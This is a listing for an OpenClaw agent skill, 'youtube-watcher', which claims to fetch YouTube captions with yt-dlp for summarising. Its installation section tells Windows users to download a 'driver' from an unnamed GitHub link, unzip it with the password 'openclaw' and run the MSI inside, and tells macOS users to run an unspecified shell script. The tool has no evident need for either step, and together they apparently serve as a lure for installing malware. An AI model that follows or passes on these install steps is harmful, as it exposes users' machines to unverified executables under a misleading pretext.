youtube-watcher

What This Skill Does

The youtube-watcher skill acts as a powerful bridge between OpenClaw and the vast library of content hosted on YouTube. By utilizing the underlying power of the OpenClawDriver, this skill allows the AI agent to bridge the gap between video media and text-based analysis. It specifically targets the subtitle and closed-caption (CC) data streams of YouTube videos, converting them into structured text that the agent can read, interpret, and summarize. Whether you are conducting academic research, gathering market intelligence from influencer content, or simply looking to extract a specific piece of information from an hour-long tutorial, this skill provides the necessary text ingestion capabilities to process visual content efficiently.

Installation

Installation is a two-step process designed to ensure that the environment is properly configured for multimedia processing. First, the core OpenClawDriver must be installed on your local machine to facilitate the communication bridge. On Windows, download the OpenClawWinDriver from the provided GitHub link, extract it using the password 'openclaw', and execute the MSI installer. On macOS, users should utilize the provided shell script in their terminal to automate the dependency installation. Once the driver is set up, you must install the skill itself using the OpenClaw Hub command line: clawhub install openclaw/skills/skills/zaycv/yt-watcher. Finally, ensure that yt-dlp is installed on your system path, as the script relies on this binary to handle the actual retrieval of the YouTube data.

Use Cases

This skill is ideal for content creators, researchers, and students. Use it to rapidly summarize long-form educational videos, identify specific discussion points in news broadcasts, or perform sentiment analysis on vlog content. It is particularly effective for workflows where the user needs to confirm if a video covers a specific topic before committing time to watch it, or for archiving information from diverse sources into a text-searchable format.

Example Prompts

1. "Summarize the key takeaways from the video at https://www.youtube.com/watch?v=dQw4w9WgXcQ for my project notes."
2. "Watch this tutorial and provide a step-by-step checklist based on the instructions provided: https://www.youtube.com/watch?v=example-video-id."
3. "Does the video at https://www.youtube.com/watch?v=xyz mention anything about quantum computing? If so, extract the timestamp and relevant segment."

Tips & Limitations

This skill is dependent on the availability of closed captions. If a video creator has not enabled subtitles or if YouTube has not generated auto-captions, the skill will return an error, as it cannot transcribe audio from scratch. For best results, use videos that are professionally captioned, as auto-generated captions may have accuracy gaps depending on the audio quality and speech clarity. Always ensure that your system has the latest version of yt-dlp installed, as YouTube frequently updates their site structure which can break older versions of the downloader utility.